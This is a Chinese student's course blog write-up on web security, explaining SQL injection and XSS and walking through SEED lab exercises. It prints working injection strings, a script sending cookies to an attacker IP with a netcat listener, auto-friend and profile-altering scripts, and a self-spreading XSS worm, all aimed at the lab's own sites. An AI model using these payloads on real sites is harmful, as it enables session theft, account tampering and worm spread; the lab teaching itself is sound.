20199116 2019-2020-2 《网络攻防实践》第11周作业

20199116 2019-2020-2 《网络攻防实践》第11周作业

前言

问题 解答
这个作业属于哪个课程 《网络攻防实践》
这个作业的要求在哪里 <作业要求>
我在这个课程的目标是 熟练掌握网络攻防知识,学习第十一章 Web应用程序安全攻防
这个作业在哪个具体方面帮助我实现目标 学习Linux操作命令以及虚拟机的应用;学习网络攻防知识
作业正文 如下
其他参考文献 见正文最后

1. 实践内容

1.1 Web应用程序安全攻防

1.1.1 Web应用程序体系结构

  • Web应用程序定义:是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如Javascript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet)。依赖于浏览器来对应用程序进行渲染和执行。
    Web应用程序与浏览器的完美配合造就了B/S(浏览器/服务器)计算结构,该计算结构在传统的C/S(客户端/服务器)计算结构没有多大变化上,但大大提升了部署和应用的便捷性。

web应用体系结构图如下:

  • 浏览器
    标准的Web客户端就是熟知的浏览器,如IE、Chrome、Firefox等。浏览器是用来检索、展示以及传递Web信息资源的应用程序。

  • web服务器
    接收web客户端对资源的请求,对请求执行一些解析处理来确定资源存在,再将其传递给web应用程序来执行,web应用程序执行完逻辑并返回响应时,web服务器再将这个响应返回给web客户端,在浏览器上进行本地执行、渲染和展示。

  • web应用程序:负责服务器端的业务逻辑处理,是web应用的核心,最为常见的三层体系结构:

    • 表示层:接受Web客户端的输入并显示结果。
    • 业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
    • 数据层:以数据库或本地文件的形式,提供非易失的信息存储。
  • 数据库:web应用存储数据的地方。业务逻辑层可通过数据连接器至后台数据库关系系统。

  • 传输协议HTTP/HTTPS

    • 浏览器和Web站点之间的通信传输协议使用HTTP/HTTPS协议。HTTP协议(超文本传输协议)默认使用TCP 80端口,该协议使用统一资源标识符URI对各种资源进行统一定义,然后采用请求/响应模式,来请求资源。
    • 使用SSL/TLS隧道技术,来实现加密传输的HTTPS协议。

1.1.2 web应用安全威胁

  • 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。

  • 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、、假冒身份攻击、拒绝服务攻击等。

  • 系统层安全威胁:Web站点的宿主操作系统,存在着远程渗透攻击和本地渗透攻击。

  • Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点,被攻击者利用。

  • web应用程序安全威胁:程序员缺乏安全意识或有不良编程习惯,导致的SQL注入攻击、XSS跨站脚本攻击等

  • Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容,存在被窃取、篡改等威胁。

1.2 Web应用安全攻防技术概述

1.2.1 Web应用的信息收集

  • 定义:主要收集内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息等。

  • 手工审查Web应用程序结构与源代码

    • 查看静态和动态生成的页面,主要查看静态网页的HTML源文件包含的隐藏信息和动态页面中的页面命名规则和使用的脚本编程语言等。

    • 查看Web服务器的存储目录结构,从而搜索包含关键信息或可被攻击的文件。

    • 查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。

    • 查看输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。

    • 查询参数字符串,可被复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。

    • 自动下载与镜像Web站点页面:自动化上面的手工审查过程。

    • Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。

    • Web应用程序安全评估与漏洞探测
      针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。

  • 安全辅助分析工具主要包括浏览器插件、免费工具集(如Fiddler等)、商业Web应用安全评估系统和漏洞扫描器。

1.2.2 攻击web服务器软件

  • 流行的Web服务器软件主要分为两类:

    • MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET

    • LAMP: Linux/Apache/MySQL/PHP

  • web服务器平台中的安全漏洞主要分为以下几类:

    • 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。

    • 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展模块都存在漏洞。

    • 样本文件安全漏洞:Web应用服务器包含的样本文件脚本和代码示例存在漏洞。

    • 源代码泄露:源代码泄露漏洞能够查看到没有防护措施Web服务器上的应用程序源码。

    • 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程,叫资源解析。在这一过程中可能导致目录遍历、敏感信息泄露、代码注入攻击。

1.2.3 攻击web应用程序

  • 在web应用各个层次上,最薄弱的环节在web应用程序
  • Web应用程序安全威胁类型
    • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。

    • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。

    • 客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。

    • 命令执行攻击:在web站点执行远程命令的攻击手段,包括缓存溢出、格式化字符串、操作系统命令注入等。

    • 信息暴露:获取web站点具体系统信息的攻击手段。

    • 逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。

1.2.4 攻击web数据内容

  • 安全敏感数据泄露
    个人隐私信息、员工通信录、企业内部资料等,这些敏感数据可能通过以下途径泄露:
    • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
    • 利用web服务器的上传目录临时中转文件。
    • 在web站点公开的文档资料中包含个人隐私、企业秘密。
  • 网站篡改
    • 在利用特定攻击手段入侵网站后,将网站页面内容进行替换,宣示入侵成功或表达攻击者某种观点诉求。
  • 不良信息内容上传
    web站点被攻击者入侵和控制之后,以及论坛、博客类网站可能遭受不良信息内容上传的威胁。

1.2.5 web应用安全防范措施

  • web站点网络传输安全设防措施
  • web站点操作系统及服务安全设防措施
  • web应用程序安全设防措施
  • web站点数据安全设防措施

1.3 SQL注入

  • SQL定义:是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。

  • 代码注入是针对web应用程序的主流攻击技术之一,代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。

  • 代码注入根据攻击目标不同又分为:

    • 恶意读取、修改与操纵数据库的SQL注入攻击

    • 在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击

    • 在Web服务器端恶意执行操作系统命令的shell注入攻击

    • 还有其他攻击,如LDAP注入、邮件命令注入、SSI注入等。

1.3.1 SQL注入攻击原理

  • SQL注入是利用Web应用程序的数据层存在的输入验证不完善型安全漏洞实施的代码注入攻击技术。
    • SQL注入漏洞是:由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。

    • SQL注入攻击原理:向web应用程序提供的用户输入接口,输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。

1.3.2 SQL注入攻击步骤和过程

  • SQL注入攻击步骤和过程
    • (1)发现SQL注入点

    • 常见的注入点存在于http://SITE/xxx.asp?some_rec=yyy的动态网页中。只要这些参数用于生成SQL语句访问数据库,就有可能存在注入点。

    • 当some_rec字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。同理也可以对字符型进行检查。

    • (2)判断后台数据库类型

      • 利用数据库服务器的系统变量进行判断
      • 利用数据库服务器的系统表进行判断
    • (3)利用SQL注入进行后台口令字猜解

      • 猜解表名(管理员账户所在表名)
      • 猜解字段名(如用户名字段、密码字段)
      • 猜解字段值: 二分法逼近(用户名和口令字段的字段值),口令可能为MD5加密后的密文,需要破译软件。
    • (4)上传ASP后门,得到默认账户权限

      • 在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
    • (5)本地特权提升

    • (6)利用数据库扩展存储过程执行shell命令

1.3.3 SQL注入攻击工具

  • 自动化SQL注入漏洞发现
    • Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。
    • mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。
  • 自动化SQL注入测试
    • SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
    • SPI Toolkit工具包中的“SQL Injector”工具。

1.3.4 SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制:保证用户输入正确的类型格式,避免遭受SQL注入攻击
  • 凡是来自外部的用户输入,必须进行完备检查。
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象:所有用户输入必须遵从被调用的存储过程、预编译SQL或ADO命令对象的安全的上下文环境
  • 加强SQL数据库服务器的配置与连接。

1.4 XSS跨站脚本攻击

  • 与代码注入不同,XSS跨站脚本攻击的最终目的是:web应用程序的用户
  • XSS跨站脚本漏洞存在于web应用程序中,使得攻击者在某web网页插入恶意代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些代码,造成用户敏感信息泄露、客户端渗透攻击等。

1.4.1 XSS攻击技术原理

  • 攻击根源:与代码注类似,Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。

1.4.2 XSS攻击类型

  • 持久性XSS漏洞

    • 将用户输入并持久保存在web服务器端,并持续地显示在“正常”页面上,影响其他访问这些页面的用户。
    • 常出现在留言本、论坛、博客等web应用程序中。
  • 非持久性XSS漏洞

    • 当web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本产生一个提供给该用户的结果页面,若缺乏请求数据安全验证及过滤,就可能存在非持久性XSS漏洞。
  • 典型的非持久性XSS攻击过程

  • 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email/HTTP等方式将该攻击发送给其他用户。

  • 用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。

  • bank.com登陆处理页面,将会在反馈的欢迎页面中包含恶意客户端脚本。

  • 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。

  • 攻击者获得用户会话令牌后,可以劫持用户会话等,伪造用户登录进一步实施攻击。

1.4.3XSS攻击防范措施

  • 服务器端防范措施(以“限制、拒绝、净化”的思路来进行过滤)
    • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
    • 输出净化: HTMLEncode()方法。
    • 消除危险的输入点。
  • 客户端防范措施
    • 提高浏览器访问非受信网站时的安全等级。
    • 关闭Cookie功能,或设置Cookie只读。
    • 建立安全意识和浏览习惯。

2.实践

  • 实验环境
    • 操作系统:SEED Ubuntu 16.04(下图为查看自己的seed ubuntu操作系统)

  • 服务:Apache 使用命令sudo service apache2 start开启服务
  • web 应用:www.SEEDLabSQLInjection.com、www.xsslabelgg.com(镜像中已提供,可直接在sites for labs中进入)

2.1 实践一 SEED SQL注入实验

  • 题目:访问www.SEEDLabSQLInjection.com查看实验所用的web应用程序, 该程序是一个简单的员工管理应用程序。完成下列任务:
    (1)对 SELECT 语句的攻击 (在不知道密码的情况下登录该应用程序)
    (2)对 UPDATE 语句的攻击 (在不知道密码的情况下修改某用户资料)
    (3)对抗 SQL 注入 ( 修复该web应用的SQL注入漏洞)

实践如下:

  • 数据库教程,MySQL教程

  • 在终端登陆MySQL数据库,使用指令mysql -u root -pseedubuntu登陆-u指定用户名,-p指定密码。

  • 可以使用指令use Users;show tables; (注意不要少了分号)查看该数据库下面的表。

  • 可以使用指令select * from credential;来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。

  • 对 SELECT 语句的攻击

  • 打开上图显示的SQL Injection Site 网站,随意输入一个用户名或密码,F12查看表单提交情况,可以看到进行校验的是unsafe_home.php。

  • vim /var/www/SQLInjection/unsafe_home.php 打开unsafe_home.php文件,查看源代码。

  • 如下图,该web应用的数据库用户为root,密码为seedubuntu

  • 如下图,进行登录认证时,区分admin用户其他用户,用户信息表名为credential

  • 根据上面信息,我们用admin来登录 ,登录时正确的SQL查询语句为

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’

但是如果在用户名输入Admin'#,就可以让SQL语句提前结束,而不进行密码校验,#可将密码校验的部分注释掉了。实践可以发现,成功进入系统,并可以查看到所有的用户信息。

  • 对update语句的攻击

  • 同样打开unsafe_edit_backend.php文件,执行vim /var/www/SQLInjection/unsafe_edit_backend.php,在源代码中找到处理update语句的地方,可以发现,员工只能修改自己的个人信息,而无法修改salary,那我们就来修改员工的salary。

  • 由上一步攻击得知除Admin之外的用户还有Alice、Boby等,这里我们就用相同的方法登录Alice。登陆成功后,可以看到salary为20000,点击图中的edit profile修改信息。

  • 已知update时正确的处理语句为:
    UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id

如果我们在nickname字段输入',salary='0' where Name='Alice'; #

则可以把update语句改为UPDATE credential SET nickname='',salary='30000' where Name='Alice';',后面的都由#注释掉了。(我将Alice的工资从原来的20000改为了30000)

  • 发现Alice登录自己的账号,修改自己的salary成功,从20000变为了30000。

  • 同样,若Alice登录自己的账号,但是构造语句',salary='20000' where Name='Boby'; #则可以修改Boby的salary。(将Boby的salary从30000改为20000)如下图实践成功。

  • 对抗SQL注入

  • SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL 语句时,程序知道哪个部分是代码哪个部分是数据。不幸的是当 SQL 语句送往数据库执行时,这个边界被打破,当程序被注入时,SQL 解释器看到的边界可能和最初的边界不一样。

2.2 实践二 SEED XSS攻击实验

  • 题目:访问**www.xsslabelgg.com**查看实验所用的web应用Elgg,利用XSS漏洞完成下列任务:
    (1)通过弹窗显示恶意信息
    (2)在消息窗口中显示 Cookie
    (3)窃取受害主机的 Cookie
    (4)使用窃取的Cookies进行会话劫持

  • 在接下来的实验中,我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。

  • Alice的账户为alice密码aliceseed,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg

1、发布恶意消息,显示警报窗口

  • 在Elgg user profile中嵌入JavaScript程序,因此当另一个用户查看你的个人资料(profile)时,JavaScript程序将会执行并且显示一个警告窗口。下面的JavaScript程序用于显示一个警告窗口:<script>alert('XSS');</script>

  • 首先用Alice账户密码登陆,打开并编辑个人页面(点击如下图左上角小标,再点击edit profiles)。

  • Alice将<script>alert('XSS');</script>填入Brief desription域中。

  • 然后使用另一个用户(Boby)登录并查看Alice的profile,则将会看到警告窗口。(其实在上一步,填完后,点击save也会出现XSS弹窗)

  • 在这种情况下,使用的JavaScript代码足够短,所以能够键入短的描述字段。如果我们想运行一段长的JavaScript代码,为了不受字段字符数量的限制,我们可以把JavaScript程序保存在.js文件内,然后在script标签内使用src属性进行引用。

2、弹窗显示cookie信息

  • 同样,在Alice的个人页面的Brief description中插入我们的XSS攻击代码<script> alert(document.cookie);</script>

  • Boby登录,more—>members—>Alice或者页面右边search处查找Alice,进入Alice个人页面,则出现如下弹框。事实上Alice的Brief description修改之后自己也会弹框。

3、获取受害主机的cookie

  • 在上面的2个任务中,攻击者编写的恶意JavaScript代码可以打印出用户的Cookie,但只有用户可以看到cookies,而不是攻击者。在这个任务中,攻击者希望JavaScript代码将cookie发送给自己。

  • 为了实现这一点,恶意的JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。我们可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。

  • 下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
    嵌入的Javascript代码:<script>document.write('<img src=http://192.168.200.4:5555?c=' + escape(document.cookie) + ' >');</script>

其中192.168.200.4为攻击者ip,这里我直接使用的是seedubuntu。

  • 执行nc -l 5555 -v命令,监听5555端口。当用户访问Alice profile时,打印出当前用户的cookies

不知道为什么,我监听不到东西。。。(我还把ip地址换成weinxpattack,结果还是不行。。。)

正确的应该如下图所示(别的同学的图):

4、获取受害主机的cookie

  • 加好友时,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=,也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证.

  • 可以编写出如下的代码,用于xss攻击自动添加好友。(看的其他同学的代码)

<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}

  • 将上述代码放到Alice的edit profile的About me中

  • 然后用boby的账号访问Alice的个人主页,可以截获到这样一条请求。之后返回boby主页,可以看到boby自动加了Alice的好友

5、修改受害者信息

  • 同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>

  • 同样将代码放到alice的about me中。登陆boby账号访问Alice的个人主页,返回主页时看到语句this had been changed by xss attack.

6、编写XSS蠕虫

  • 构建蠕虫攻击代码
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

  • 跟之前的代码不同的核心在于使用innerHTML标签获取了worm当前块内的所有代码。

  • 还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,可以截获如下信息。同时,蠕虫病毒已经侵染了Boby的主页。

  • 让admin访问boby的主页,admin就成为了二级感染者.

7、对抗XSS攻击

  • Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed,点击active并使其Deactivate。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。具体如下:

  • 在回去看alice的profile,就可以看到这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。

3.学习中遇到的问题

  • 问题1:不会编写代码
  • 问题1的解决:借鉴,理解代码
  • 问题2:实践二中任务3,窃取受害者cookies,未成功。

  • 问题2的解决:尚未解决,换了攻击机监听也不行。(可能哪里出了点小问题)

4.学习感悟

学习代码

参考资料

  • 《网络攻防技术与实践》(诸葛建伟著)
  • MySQL教程
posted on 2020-05-12 23:20  20199116xjq  阅读(337)  评论(0编辑  收藏  举报